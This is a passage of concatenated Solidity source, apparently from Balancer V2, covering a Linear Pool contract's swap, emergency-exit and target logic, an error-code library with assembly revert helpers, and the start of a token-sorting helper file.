'virtual supply'. // The total supply can only change if the emergency pause is activated by governance, enabling an // alternative proportional exit that burns BPT. As this is not expected to happen, we optimize for // success by using _INITIAL_BPT_SUPPLY instead of totalSupply(), saving a storage read. This optimization is only // valid if the Pool is never paused: in case of an emergency that leads to burned tokens, the Pool should not // be used after the buffer period expires and it automatically 'unpauses'. uint256 private constant _INITIAL_BPT_SUPPLY = 2**(112) - 1; IERC20 private immutable _mainToken; IERC20 private immutable _wrappedToken; // The indices of each token when registered, which can then be used to access the balances array. uint256 private immutable _bptIndex; uint256 private immutable _mainIndex; uint256 private immutable _wrappedIndex; // Both BPT and the main token have a regular, constant scaling factor (equal to FixedPoint.ONE for BPT, and // dependent on the number of decimals for the main token). However, the wrapped token's scaling factor has two // components: the usual token decimal scaling factor, and an externally provided rate used to convert wrapped // tokens to an equivalent main token amount. This external rate is expected to be ever increasing, reflecting the // fact that the wrapped token appreciates in value over time (e.g. because it is accruing interest). uint256 private immutable _scalingFactorMainToken; uint256 private immutable _scalingFactorWrappedToken; // The lower and upper target are in BasePool's misc data field, which has 192 bits available (as it shares the same // storage slot as the swap fee percentage, which is 64 bits). These are already scaled by the main token's scaling // factor, which means that the maximum upper target is ~80 billion in the main token units if the token were to // have 18 decimals (2^(192/2) / 10^18), which is more than enough. // [ 64 bits | 96 bits | 96 bits ] // [ reserved | upper target | lower target ] // [ base pool swap fee | misc data ] // [ MSB LSB ] uint256 private constant _LOWER_TARGET_OFFSET = 0; uint256 private constant _UPPER_TARGET_OFFSET = 96; uint256 private constant _MAX_UPPER_TARGET = 2**(96) - 1; event TargetsSet(IERC20 indexed token, uint256 lowerTarget, uint256 upperTarget); constructor( IVault vault, string memory name, string memory symbol, IERC20 mainToken, IERC20 wrappedToken, uint256 upperTarget, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) LegacyBasePool( vault, IVault.PoolSpecialization.GENERAL, name, symbol, _sortTokens(mainToken, wrappedToken, this), new address[](_TOTAL_TOKENS), swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { // Set tokens _mainToken = mainToken; _wrappedToken = wrappedToken; // Set token indexes (uint256 mainIndex, uint256 wrappedIndex, uint256 bptIndex) = _getSortedTokenIndexes( mainToken, wrappedToken, this ); _bptIndex = bptIndex; _mainIndex = mainIndex; _wrappedIndex = wrappedIndex; // Set scaling factors _scalingFactorMainToken = _computeScalingFactor(mainToken); _scalingFactorWrappedToken = _computeScalingFactor(wrappedToken); // Set initial targets. Lower target must be set to zero because initially there are no fees accumulated. // Otherwise the pool will owe fees at start which results in a manipulable rate. uint256 lowerTarget = 0; _setTargets(mainToken, lowerTarget, upperTarget); } function getMainToken() public view returns (address) { return address(_mainToken); } function getWrappedToken() public view returns (address) { return address(_wrappedToken); } function getBptIndex() external view returns (uint256) { return _bptIndex; } function getMainIndex() external view returns (uint256) { return _mainIndex; } function getWrappedIndex() external view returns (uint256) { return _wrappedIndex; } /** * @dev Finishes initialization of the Linear Pool: it is unusable before calling this function as no BPT will have * been minted. * * Since Linear Pools have preminted BPT stored in the Vault, they require an initial join to deposit said BPT as * their balance. Unfortunately, this cannot be performed during construction, as a join involves calling the * `onJoinPool` function on the Pool, and the Pool will not have any code until construction finishes. Therefore, * this must happen in a separate call. * * It is highly recommended to create Linear pools using the LinearPoolFactory, which calls `initialize` * automatically. */ function initialize() external { bytes32 poolId = getPoolId(); (IERC20[] memory tokens, , ) = getVault().getPoolTokens(poolId); // Joins typically involve the Pool receiving tokens in exchange for newly-minted BPT. In this case however, the // Pool will mint the entire BPT supply to itself, and join itself with it. uint256[] memory maxAmountsIn = new uint256[](_TOTAL_TOKENS); maxAmountsIn[_bptIndex] = _INITIAL_BPT_SUPPLY; // The first time this executes, it will call `_onInitializePool` (as the BPT supply will be zero). Future calls // will be routed to `_onJoinPool`, which always reverts, meaning `initialize` will only execute once. IVault.JoinPoolRequest memory request = IVault.JoinPoolRequest({ assets: _asIAsset(tokens), maxAmountsIn: maxAmountsIn, userData: "", fromInternalBalance: false }); getVault().joinPool(poolId, address(this), address(this), request); } /** * @dev Implementation of onSwap, from IGeneralPool. */ function onSwap( SwapRequest memory request, uint256[] memory balances, uint256 indexIn, uint256 indexOut ) public view override onlyVault(request.poolId) whenNotPaused returns (uint256) { // In most Pools, swaps involve exchanging one token held by the Pool for another. In this case however, since // one of the three tokens is the BPT itself, a swap might also be a join (main/wrapped for BPT) or an exit // (BPT for main/wrapped). // All three swap types (swaps, joins and exits) are fully disabled if the emergency pause is enabled. Under // these circumstances, the Pool should be exited using the regular Vault.exitPool function. // Sanity check: this is not entirely necessary as the Vault's interface enforces the indices to be valid, but // the check is cheap to perform. _require(indexIn < _TOTAL_TOKENS && indexOut < _TOTAL_TOKENS, Errors.OUT_OF_BOUNDS); // Note that we already know the indices of the main token, wrapped token and BPT, so there is no need to pass // these indices to the inner functions. // Upscale balances by the scaling factors (taking into account the wrapped token rate) uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 lowerTarget, uint256 upperTarget) = getTargets(); LinearMath.Params memory params = LinearMath.Params({ fee: getSwapFeePercentage(), lowerTarget: lowerTarget, upperTarget: upperTarget }); if (request.kind == IVault.SwapKind.GIVEN_IN) { // The amount given is for token in, the amount calculated is for token out request.amount = _upscale(request.amount, scalingFactors[indexIn]); uint256 amountOut = _onSwapGivenIn(request, balances, params); // amountOut tokens are exiting the Pool, so we round down. return _downscaleDown(amountOut, scalingFactors[indexOut]); } else { // The amount given is for token out, the amount calculated is for token in request.amount = _upscale(request.amount, scalingFactors[indexOut]); uint256 amountIn = _onSwapGivenOut(request, balances, params); // amountIn tokens are entering the Pool, so we round up. return _downscaleUp(amountIn, scalingFactors[indexIn]); } } function _onSwapGivenIn( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { if (request.tokenIn == this) { return _swapGivenBptIn(request, balances, params); } else if (request.tokenIn == _mainToken) { return _swapGivenMainIn(request, balances, params); } else if (request.tokenIn == _wrappedToken) { return _swapGivenWrappedIn(request, balances, params); } else { _revert(Errors.INVALID_TOKEN); } } function _swapGivenBptIn( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { _require(request.tokenOut == _mainToken || request.tokenOut == _wrappedToken, Errors.INVALID_TOKEN); return (request.tokenOut == _mainToken ? LinearMath._calcMainOutPerBptIn : LinearMath._calcWrappedOutPerBptIn)( request.amount, balances[_mainIndex], balances[_wrappedIndex], _getApproximateVirtualSupply(balances[_bptIndex]), params ); } function _swapGivenMainIn( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { _require(request.tokenOut == _wrappedToken || request.tokenOut == this, Errors.INVALID_TOKEN); return request.tokenOut == this ? LinearMath._calcBptOutPerMainIn( request.amount, balances[_mainIndex], balances[_wrappedIndex], _getApproximateVirtualSupply(balances[_bptIndex]), params ) : LinearMath._calcWrappedOutPerMainIn(request.amount, balances[_mainIndex], params); } function _swapGivenWrappedIn( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { _require(request.tokenOut == _mainToken || request.tokenOut == this, Errors.INVALID_TOKEN); return request.tokenOut == this ? LinearMath._calcBptOutPerWrappedIn( request.amount, balances[_mainIndex], balances[_wrappedIndex], _getApproximateVirtualSupply(balances[_bptIndex]), params ) : LinearMath._calcMainOutPerWrappedIn(request.amount, balances[_mainIndex], params); } function _onSwapGivenOut( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { if (request.tokenOut == this) { return _swapGivenBptOut(request, balances, params); } else if (request.tokenOut == _mainToken) { return _swapGivenMainOut(request, balances, params); } else if (request.tokenOut == _wrappedToken) { return _swapGivenWrappedOut(request, balances, params); } else { _revert(Errors.INVALID_TOKEN); } } function _swapGivenBptOut( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { _require(request.tokenIn == _mainToken || request.tokenIn == _wrappedToken, Errors.INVALID_TOKEN); return (request.tokenIn == _mainToken ? LinearMath._calcMainInPerBptOut : LinearMath._calcWrappedInPerBptOut)( request.amount, balances[_mainIndex], balances[_wrappedIndex], _getApproximateVirtualSupply(balances[_bptIndex]), params ); } function _swapGivenMainOut( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { _require(request.tokenIn == _wrappedToken || request.tokenIn == this, Errors.INVALID_TOKEN); return request.tokenIn == this ? LinearMath._calcBptInPerMainOut( request.amount, balances[_mainIndex], balances[_wrappedIndex], _getApproximateVirtualSupply(balances[_bptIndex]), params ) : LinearMath._calcWrappedInPerMainOut(request.amount, balances[_mainIndex], params); } function _swapGivenWrappedOut( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { _require(request.tokenIn == _mainToken || request.tokenIn == this, Errors.INVALID_TOKEN); return request.tokenIn == this ? LinearMath._calcBptInPerWrappedOut( request.amount, balances[_mainIndex], balances[_wrappedIndex], _getApproximateVirtualSupply(balances[_bptIndex]), params ) : LinearMath._calcMainInPerWrappedOut(request.amount, balances[_mainIndex], params); } function _onInitializePool( bytes32, address sender, address recipient, uint256[] memory, bytes memory ) internal view override whenNotPaused returns (uint256, uint256[] memory) { // Linear Pools can only be initialized by the Pool performing the initial join via the `initialize` function. _require(sender == address(this), Errors.INVALID_INITIALIZATION); _require(recipient == address(this), Errors.INVALID_INITIALIZATION); // The full BPT supply will be minted and deposited in the Pool. Note that there is no need to approve the Vault // as it already has infinite BPT allowance. uint256 bptAmountOut = _INITIAL_BPT_SUPPLY; uint256[] memory amountsIn = new uint256[](_TOTAL_TOKENS); amountsIn[_bptIndex] = _INITIAL_BPT_SUPPLY; return (bptAmountOut, amountsIn); } function _onJoinPool( bytes32, address, address, uint256[] memory, uint256, uint256, uint256[] memory, bytes memory ) internal pure override returns ( uint256, uint256[] memory, uint256[] memory ) { _revert(Errors.UNHANDLED_BY_LINEAR_POOL); } function _onExitPool( bytes32, address, address, uint256[] memory balances, uint256, uint256, uint256[] memory, bytes memory userData ) internal view override returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ) { // Exits typically revert, except for the proportional exit when the emergency pause mechanism has been // triggered. This allows for a simple and safe way to exit the Pool. // Note that the rate cache will not be automatically updated in such a scenario (though this can be still done // manually). This however should not lead to any issues as the rate is not important during the emergency exit. // On the contrary, decoupling the rate provider from the emergency exit might be useful under these // circumstances. LinearPoolUserData.ExitKind kind = userData.exitKind(); if (kind != LinearPoolUserData.ExitKind.EMERGENCY_EXACT_BPT_IN_FOR_TOKENS_OUT) { _revert(Errors.UNHANDLED_BY_LINEAR_POOL); } else { _ensurePaused(); // Note that this will cause the user's BPT to be burned, which is not something that happens during // regular operation of this Pool, and may lead to accounting errors. Because of this, it is highly // advisable to stop using a Pool after it is paused and the pause window expires. (bptAmountIn, amountsOut) = _emergencyProportionalExit(balances, userData); // Due protocol fees are set to zero as this Pool accrues no fees and pays no protocol fees. dueProtocolFeeAmounts = new uint256[](_getTotalTokens()); } } function _emergencyProportionalExit(uint256[] memory balances, bytes memory userData) private view returns (uint256, uint256[] memory) { // This proportional exit function is only enabled if the contract is paused, to provide users a way to // retrieve their tokens in case of an emergency. // // This particular exit function is the only one available because it is the simplest, and therefore least // likely to be incorrect, or revert and lock funds. uint256 bptAmountIn = userData.exactBptInForTokensOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. // This process burns BPT, rendering `_getApproximateVirtualSupply` inaccurate, so we use the real method here uint256[] memory amountsOut = LinearMath._calcTokensOutGivenExactBptIn( balances, bptAmountIn, _getVirtualSupply(balances[_bptIndex]), _bptIndex ); return (bptAmountIn, amountsOut); } function _getMaxTokens() internal pure override returns (uint256) { return _TOTAL_TOKENS; } function _getMinimumBpt() internal pure override returns (uint256) { // Linear Pools don't lock any BPT, as the total supply will already be forever non-zero due to the preminting // mechanism, ensuring initialization only occurs once. return 0; } function _getTotalTokens() internal view virtual override returns (uint256) { return _TOTAL_TOKENS; } function _scalingFactor(IERC20 token) internal view virtual override returns (uint256) { if (token == _mainToken) { return _scalingFactorMainToken; } else if (token == _wrappedToken) { // The wrapped token's scaling factor is not constant, but increases over time as the wrapped token // increases in value. return _scalingFactorWrappedToken.mulDown(_getWrappedTokenRate()); } else if (token == this) { return FixedPoint.ONE; } else { _revert(Errors.INVALID_TOKEN); } } function _scalingFactors() internal view virtual override returns (uint256[] memory) { uint256[] memory scalingFactors = new uint256[](_TOTAL_TOKENS); // The wrapped token's scaling factor is not constant, but increases over time as the wrapped token increases in // value. scalingFactors[_mainIndex] = _scalingFactorMainToken; scalingFactors[_wrappedIndex] = _scalingFactorWrappedToken.mulDown(_getWrappedTokenRate()); scalingFactors[_bptIndex] = FixedPoint.ONE; return scalingFactors; } // Price rates /** * @dev For a Linear Pool, the rate represents the appreciation of BPT with respect to the underlying tokens. This * rate increases slowly as the wrapped token appreciates in value. */ function getRate() external view override returns (uint256) { bytes32 poolId = getPoolId(); (, uint256[] memory balances, ) = getVault().getPoolTokens(poolId); _upscaleArray(balances, _scalingFactors()); (uint256 lowerTarget, uint256 upperTarget) = getTargets(); LinearMath.Params memory params = LinearMath.Params({ fee: getSwapFeePercentage(), lowerTarget: lowerTarget, upperTarget: upperTarget }); uint256 totalBalance = LinearMath._calcInvariant( LinearMath._toNominal(balances[_mainIndex], params), balances[_wrappedIndex] ); // Note that we're dividing by the virtual supply, which may be zero (causing this call to revert). However, the // only way for that to happen would be for all LPs to exit the Pool, and nothing prevents new LPs from // joining it later on. return totalBalance.divUp(_getApproximateVirtualSupply(balances[_bptIndex])); } function getWrappedTokenRate() external view returns (uint256) { return _getWrappedTokenRate(); } /** * @dev Should be 1e18 for the subsequent calculation of the wrapper token scaling factor. */ function _getWrappedTokenRate() internal view virtual returns (uint256); function getTargets() public view returns (uint256 lowerTarget, uint256 upperTarget) { bytes32 miscData = _getMiscData(); lowerTarget = miscData.decodeUint96(_LOWER_TARGET_OFFSET); upperTarget = miscData.decodeUint96(_UPPER_TARGET_OFFSET); } function _setTargets( IERC20 mainToken, uint256 lowerTarget, uint256 upperTarget ) private { _require(lowerTarget <= upperTarget, Errors.LOWER_GREATER_THAN_UPPER_TARGET); _require(upperTarget <= _MAX_UPPER_TARGET, Errors.UPPER_TARGET_TOO_HIGH); // Pack targets as two uint96 values into a single storage slot. This results in targets being capped to 96 // bits, but that should be more than enough. _setMiscData( WordCodec.encodeUint(lowerTarget, _LOWER_TARGET_OFFSET) | WordCodec.encodeUint(upperTarget, _UPPER_TARGET_OFFSET) ); emit TargetsSet(mainToken, lowerTarget, upperTarget); } function setTargets(uint256 newLowerTarget, uint256 newUpperTarget) external authenticate { // For a new target range to be valid: // - the pool must currently be between the current targets (meaning no fees are currently pending) // - the pool must currently be between the new targets (meaning setting them does not cause for fees to be // pending) // // The first requirement could be relaxed, as the LPs actually benefit from the pending fees not being paid out, // but being stricter makes analysis easier at little expense. (uint256 currentLowerTarget, uint256 currentUpperTarget) = getTargets(); _require(_isMainBalanceWithinTargets(currentLowerTarget, currentUpperTarget), Errors.OUT_OF_TARGET_RANGE); _require(_isMainBalanceWithinTargets(newLowerTarget, newUpperTarget), Errors.OUT_OF_NEW_TARGET_RANGE); _setTargets(_mainToken, newLowerTarget, newUpperTarget); } function setSwapFeePercentage(uint256 swapFeePercentage) public override { // For the swap fee percentage to be changeable: // - the pool must currently be between the current targets (meaning no fees are currently pending) // // As the amount of accrued fees is not explicitly stored but rather derived from the main token balance and the // current swap fee percentage, requiring for no fees to be pending prevents the fee setter from changing the // amount of pending fees, which they could use to e.g. drain Pool funds in the form of inflated fees. (uint256 lowerTarget, uint256 upperTarget) = getTargets(); _require(_isMainBalanceWithinTargets(lowerTarget, upperTarget), Errors.OUT_OF_TARGET_RANGE); super.setSwapFeePercentage(swapFeePercentage); } function _isMainBalanceWithinTargets(uint256 lowerTarget, uint256 upperTarget) private view returns (bool) { bytes32 poolId = getPoolId(); (, uint256[] memory balances, ) = getVault().getPoolTokens(poolId); uint256 mainTokenBalance = _upscale(balances[_mainIndex], _scalingFactor(_mainToken)); return mainTokenBalance >= lowerTarget && mainTokenBalance <= upperTarget; } function _isOwnerOnlyAction(bytes32 actionId) internal view virtual override returns (bool) { return actionId == getActionId(this.setTargets.selector) || super._isOwnerOnlyAction(actionId); } /** * @dev Returns the number of tokens in circulation. * * In other pools, this would be the same as `totalSupply`, but since this pool pre-mints all BPT, `totalSupply` * remains constant, whereas `virtualSupply` increases as users join the pool and decreases as they exit it. */ function getVirtualSupply() external view returns (uint256) { (, uint256[] memory balances, ) = getVault().getPoolTokens(getPoolId()); // We technically don't need to upscale the BPT balance as its scaling factor is equal to one (since BPT has // 18 decimals), but we do it for completeness. uint256 bptBalance = _upscale(balances[_bptIndex], _scalingFactor(this)); return _getVirtualSupply(bptBalance); } function _getVirtualSupply(uint256 bptBalance) internal view returns (uint256) { return totalSupply().sub(bptBalance); } /** * @dev Computes an approximation of virtual supply, which costs less gas than `_getVirtualSupply` and returns the * same value in all cases except when the emergency pause has been enabled and BPT burned as part of the emergency * exit process. */ function _getApproximateVirtualSupply(uint256 bptBalance) internal pure returns (uint256) { // No need for checked arithmetic as _INITIAL_BPT_SUPPLY is always greater than any valid Vault BPT balance. return _INITIAL_BPT_SUPPLY - bptBalance; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; // solhint-disable /** * @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are * supported. */ function _require(bool condition, uint256 errorCode) pure { if (!condition) _revert(errorCode); } /** * @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported. */ function _revert(uint256 errorCode) pure { // We're going to dynamically create a revert string based on the error code, with the following format: // 'BAL#{errorCode}' // where the code is left-padded with zeroes to three digits (so they range from 000 to 999). // // We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a // number (8 to 16 bits) than the individual string characters. // // The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a // much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a // safe place to rely on it without worrying about how its usage might affect e.g. memory contents. assembly { // First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999 // range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for // the '0' character. let units := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let tenths := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let hundreds := add(mod(errorCode, 10), 0x30) // With the individual characters, we can now construct the full string. The "BAL#" part is a known constant // (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the // characters to it, each shifted by a multiple of 8. // The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits // per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte // array). let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds)))) // We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded // message will have the following layout: // [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ] // The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We // also write zeroes to the next 28 bytes of memory, but those are about to be overwritten. mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000) // Next is the offset to the location of the string, which will be placed immediately after (20 bytes away). mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020) // The string length is fixed: 7 characters. mstore(0x24, 7) // Finally, the string itself is stored. mstore(0x44, revertReason) // Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of // the encoded message is therefore 4 + 32 + 32 + 32 = 100. revert(0, 100) } } library Errors { // Math uint256 internal constant ADD_OVERFLOW = 0; uint256 internal constant SUB_OVERFLOW = 1; uint256 internal constant SUB_UNDERFLOW = 2; uint256 internal constant MUL_OVERFLOW = 3; uint256 internal constant ZERO_DIVISION = 4; uint256 internal constant DIV_INTERNAL = 5; uint256 internal constant X_OUT_OF_BOUNDS = 6; uint256 internal constant Y_OUT_OF_BOUNDS = 7; uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8; uint256 internal constant INVALID_EXPONENT = 9; // Input uint256 internal constant OUT_OF_BOUNDS = 100; uint256 internal constant UNSORTED_ARRAY = 101; uint256 internal constant UNSORTED_TOKENS = 102; uint256 internal constant INPUT_LENGTH_MISMATCH = 103; uint256 internal constant ZERO_TOKEN = 104; // Shared pools uint256 internal constant MIN_TOKENS = 200; uint256 internal constant MAX_TOKENS = 201; uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202; uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203; uint256 internal constant MINIMUM_BPT = 204; uint256 internal constant CALLER_NOT_VAULT = 205; uint256 internal constant UNINITIALIZED = 206; uint256 internal constant BPT_IN_MAX_AMOUNT = 207; uint256 internal constant BPT_OUT_MIN_AMOUNT = 208; uint256 internal constant EXPIRED_PERMIT = 209; uint256 internal constant NOT_TWO_TOKENS = 210; uint256 internal constant DISABLED = 211; // Pools uint256 internal constant MIN_AMP = 300; uint256 internal constant MAX_AMP = 301; uint256 internal constant MIN_WEIGHT = 302; uint256 internal constant MAX_STABLE_TOKENS = 303; uint256 internal constant MAX_IN_RATIO = 304; uint256 internal constant MAX_OUT_RATIO = 305; uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306; uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307; uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308; uint256 internal constant INVALID_TOKEN = 309; uint256 internal constant UNHANDLED_JOIN_KIND = 310; uint256 internal constant ZERO_INVARIANT = 311; uint256 internal constant ORACLE_INVALID_SECONDS_QUERY = 312; uint256 internal constant ORACLE_NOT_INITIALIZED = 313; uint256 internal constant ORACLE_QUERY_TOO_OLD = 314; uint256 internal constant ORACLE_INVALID_INDEX = 315; uint256 internal constant ORACLE_BAD_SECS = 316; uint256 internal constant AMP_END_TIME_TOO_CLOSE = 317; uint256 internal constant AMP_ONGOING_UPDATE = 318; uint256 internal constant AMP_RATE_TOO_HIGH = 319; uint256 internal constant AMP_NO_ONGOING_UPDATE = 320; uint256 internal constant STABLE_INVARIANT_DIDNT_CONVERGE = 321; uint256 internal constant STABLE_GET_BALANCE_DIDNT_CONVERGE = 322; uint256 internal constant RELAYER_NOT_CONTRACT = 323; uint256 internal constant BASE_POOL_RELAYER_NOT_CALLED = 324; uint256 internal constant REBALANCING_RELAYER_REENTERED = 325; uint256 internal constant GRADUAL_UPDATE_TIME_TRAVEL = 326; uint256 internal constant SWAPS_DISABLED = 327; uint256 internal constant CALLER_IS_NOT_LBP_OWNER = 328; uint256 internal constant PRICE_RATE_OVERFLOW = 329; uint256 internal constant INVALID_JOIN_EXIT_KIND_WHILE_SWAPS_DISABLED = 330; uint256 internal constant WEIGHT_CHANGE_TOO_FAST = 331; uint256 internal constant LOWER_GREATER_THAN_UPPER_TARGET = 332; uint256 internal constant UPPER_TARGET_TOO_HIGH = 333; uint256 internal constant UNHANDLED_BY_LINEAR_POOL = 334; uint256 internal constant OUT_OF_TARGET_RANGE = 335; uint256 internal constant UNHANDLED_EXIT_KIND = 336; uint256 internal constant UNAUTHORIZED_EXIT = 337; uint256 internal constant MAX_MANAGEMENT_SWAP_FEE_PERCENTAGE = 338; uint256 internal constant UNHANDLED_BY_MANAGED_POOL = 339; uint256 internal constant UNHANDLED_BY_PHANTOM_POOL = 340; uint256 internal constant TOKEN_DOES_NOT_HAVE_RATE_PROVIDER = 341; uint256 internal constant INVALID_INITIALIZATION = 342; uint256 internal constant OUT_OF_NEW_TARGET_RANGE = 343; uint256 internal constant UNAUTHORIZED_OPERATION = 344; uint256 internal constant UNINITIALIZED_POOL_CONTROLLER = 345; // Lib uint256 internal constant REENTRANCY = 400; uint256 internal constant SENDER_NOT_ALLOWED = 401; uint256 internal constant PAUSED = 402; uint256 internal constant PAUSE_WINDOW_EXPIRED = 403; uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404; uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405; uint256 internal constant INSUFFICIENT_BALANCE = 406; uint256 internal constant INSUFFICIENT_ALLOWANCE = 407; uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408; uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409; uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410; uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411; uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412; uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413; uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414; uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415; uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416; uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417; uint256 internal constant SAFE_ERC20_CALL_FAILED = 418; uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419; uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420; uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421; uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422; uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423; uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424; uint256 internal constant BUFFER_PERIOD_EXPIRED = 425; uint256 internal constant CALLER_IS_NOT_OWNER = 426; uint256 internal constant NEW_OWNER_IS_ZERO = 427; uint256 internal constant CODE_DEPLOYMENT_FAILED = 428; uint256 internal constant CALL_TO_NON_CONTRACT = 429; uint256 internal constant LOW_LEVEL_CALL_FAILED = 430; uint256 internal constant NOT_PAUSED = 431; uint256 internal constant ADDRESS_ALREADY_ALLOWLISTED = 432; uint256 internal constant ADDRESS_NOT_ALLOWLISTED = 433; uint256 internal constant ERC20_BURN_EXCEEDS_BALANCE = 434; uint256 internal constant INVALID_OPERATION = 435; // Vault uint256 internal constant INVALID_POOL_ID = 500; uint256 internal constant CALLER_NOT_POOL = 501; uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502; uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503; uint256 internal constant INVALID_SIGNATURE = 504; uint256 internal constant EXIT_BELOW_MIN = 505; uint256 internal constant JOIN_ABOVE_MAX = 506; uint256 internal constant SWAP_LIMIT = 507; uint256 internal constant SWAP_DEADLINE = 508; uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509; uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510; uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511; uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512; uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513; uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514; uint256 internal constant INVALID_POST_LOAN_BALANCE = 515; uint256 internal constant INSUFFICIENT_ETH = 516; uint256 internal constant UNALLOCATED_ETH = 517; uint256 internal constant ETH_TRANSFER = 518; uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519; uint256 internal constant TOKENS_MISMATCH = 520; uint256 internal constant TOKEN_NOT_REGISTERED = 521; uint256 internal constant TOKEN_ALREADY_REGISTERED = 522; uint256 internal constant TOKENS_ALREADY_SET = 523; uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524; uint256 internal constant NONZERO_TOKEN_BALANCE = 525; uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526; uint256 internal constant POOL_NO_TOKENS = 527; uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528; // Fees uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600; uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601; uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-vault/contracts/interfaces/IAsset.sol"; import "../openzeppelin/IERC20.sol"; // solhint-disable function _asIAsset(IERC20[] memory tokens) pure returns (IAsset[] memory assets) { // solhint-disable-next-line no-inline-assembly assembly { assets := tokens } } function _sortTokens( IERC20 tokenA, IERC20 tokenB, IERC20 tokenC ) pure returns (IERC20[] memory tokens) { (uint256 indexTokenA, uint256 indexTokenB, uint256 indexTokenC) = _getSortedTokenIndexes(tokenA, tokenB, tokenC); tokens = new IERC20[](3); tokens[indexTokenA] = tokenA; tokens[indexTokenB] = tokenB; tokens[indexTokenC] = tokenC; } function _insertSorted(IERC20[] memory tokens, IERC20 token) pure returns (IERC20[] memory sorted) { sorted = new IERC20[](tokens.length + 1); if 